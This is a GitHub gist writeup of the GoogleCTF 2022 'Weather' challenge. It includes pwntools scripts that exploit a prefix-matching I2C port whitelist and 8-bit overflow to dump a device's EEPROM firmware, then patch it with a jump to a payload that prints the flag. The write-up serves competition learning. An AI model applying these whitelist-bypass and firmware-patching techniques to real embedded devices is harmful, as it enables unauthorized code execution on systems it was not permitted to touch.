Skip to content

Instantly share code, notes, and snippets.

@PAndaContron
Last active July 18, 2022 03:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PAndaContron/9c08e8e14733ce569ebebe58c0dc383b to your computer and use it in GitHub Desktop.
Save PAndaContron/9c08e8e14733ce569ebebe58c0dc383b to your computer and use it in GitHub Desktop.
GoogleCTF 2022 Weather Challenge Writeup
#!/usr/bin/env python3
from pwn import *
chal = remote('weather.2022.ctfcompetition.com', 1337)
sport = 101000
while sport & 0xFF != 33: sport += 1
dump = b''
for i in range(64):
status = f'Page {i}...'
print(status, end='')
chal.recvuntil(b'? ')
chal.sendline(b'w %i 1 %i' % (sport, i))
res = chal.recvline()
if res != b'i2c status: transaction completed / ready\n':
break
chal.recvuntil(b'? ')
chal.sendline(b'r %i 64' % sport)
res = chal.recvline()
if res != b'i2c status: transaction completed / ready\n':
break
data = chal.recvuntil(b'-end', drop=True)
dump += bytes(int(x) for x in data.split())
print('\b' * len(status), end='')
chal.close()
with open('eepromfull.bin', 'wb') as f:
f.write(dump)
#!/usr/bin/env python3
from pwn import *
from pprint import pprint
chal = remote('weather.2022.ctfcompetition.com', 1337)
ports = {}
for i in range(128):
sport = 101000 + i
print(sport, end='')
port = sport & 0x7f
chal.recvuntil(b'? ')
chal.sendline(b'r %i 64' % sport)
res = chal.recvline()
if res != b'i2c status: error - device not found\n':
ports[port] = res
print('\b'*6, end='')
pprint(ports)
chal.close()

In this challenge, we're given a datasheet and firmware source code for an embedded device, along with an address and port to access it remotely. The firmware allows us to read and write from certain I2C ports on the device. We're also told in the datasheet that the firmware is stored on an EEPROM which can be read from and written to over I2C, but we aren't given the I2C port for this device. The datasheet also tells us that the flag is stored in a "FlagROM" device which we can only read using an SFR (special function register) interface.

The firmware has a whitelist of I2C ports we can access, but the implementation has a bug in it. The ports are checked as strings, but the equality check actually only checks if some allowed port number is a prefix of the inputted port, not if they're equal. This means that if 101 is an allowed port, then 101000 is also an allowed port according to this function. Then, this string is converted to an 8-bit integer, and only the lowest 7 bits are used for the port number; so because of overflow, a large port number essentially refers to its value mod 128. Therefore, we can actually access any port we want by finding a number starting with 101 which is equal to that port number mod 128.

To find the I2C port for the EEPROM, we can use the fact that we get a different error message for "device not found"; we can simply go through every number from 101000 to 101127 to test all 128 ports and list the ones that give a different response. The attached script findports.py does exactly this, and tells us that the only valid port not on the datasheet is 33, so this must be the EEPROM.

Now, the datasheet gives us a description of the protocol for reading the EEPROM: write the index of the 64-byte page, then read 64 bytes to get the contents of that page. The attached script dump.py uses this to dump the entire firmware. Using the hint that the microcontroller is called "CTF-8051", we can conclude that this is running on the Intel 8051 architecture. We can load the firmware into Ghidra and manually select this architecture to confirm this.

Now, we can use the I2C interface to patch the firmware and give us arbitrary code execution. However, we're slightly limited in how we can program the EEPROM; we can only set 1 bits to 0, we can't set 0 bits back to 1. Luckily, there's a large block at the end of the program, starting at address 0A02, which is all 1's. Therefore, we can write anything we want in this block. Now we just have to write our arbitrary payload here, and find somewhere else in the code to write a jump instruction. Specifically, we want to write an LJMP, or "long jump", whose encoding is 02 followed by the 2-byte address in big-endian.

At address 0513, we find an instruction in the main function that works perfectly; we can overwrite this instruction with an LJMP to 0A04 only by replacing 1s with 0s. We can use Ghidra to patch this instruction and patch in the following payload at 0A04:

payload

This payload simply copies the entire contents of the FlagROM to the serial output, which is what gets sent back to us. Then, since there's no way to halt or cleanly exit at this point, it enters an infinite loop.

After saving this file as eeprom-patched.bin, we can use the final attached script sol.py to apply the patch. This script automatically checks the patched binary to make sure it's actually possible to write it to the EEPROM, then writes it to the EEPROM on the remote challenge. The pages are written in reverse order to ensure that the jump to the payload is written after the payload itself. Since the jump is patched into the main loop, the payload gets executed as soon as it's finished patching, giving us the flag.

#!/usr/bin/env python3
from pwn import *
with open('eepromfull.bin', 'rb') as f: orig = f.read()
with open('eeprom-patched.bin', 'rb') as f: patched = f.read()
assert(len(orig) == len(patched))
assert(all((a | b) == a for a, b in zip(orig, patched)))
patch = bytes(a ^ b for a, b in zip(orig, patched))
pages = [None] * 64
for page in range(64):
ppatch = patch[page*64:(page+1)*64]
if any(ppatch): pages[page] = ppatch
sport = 101000
while sport & 0xFF != 33: sport += 1
chal = remote('weather.2022.ctfcompetition.com', 1337)
for page in range(63, -1, -1):
if not pages[page]: continue
chal.recvuntil(b'? ')
chal.send(b'w %i 69 %i %i %i %i %i' % (sport, page, 0xa5, 0x5a, 0xa5, 0x5a))
for p in pages[page]:
chal.send(b' %i' % p)
chal.sendline()
print(chal.recvline())
chal.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment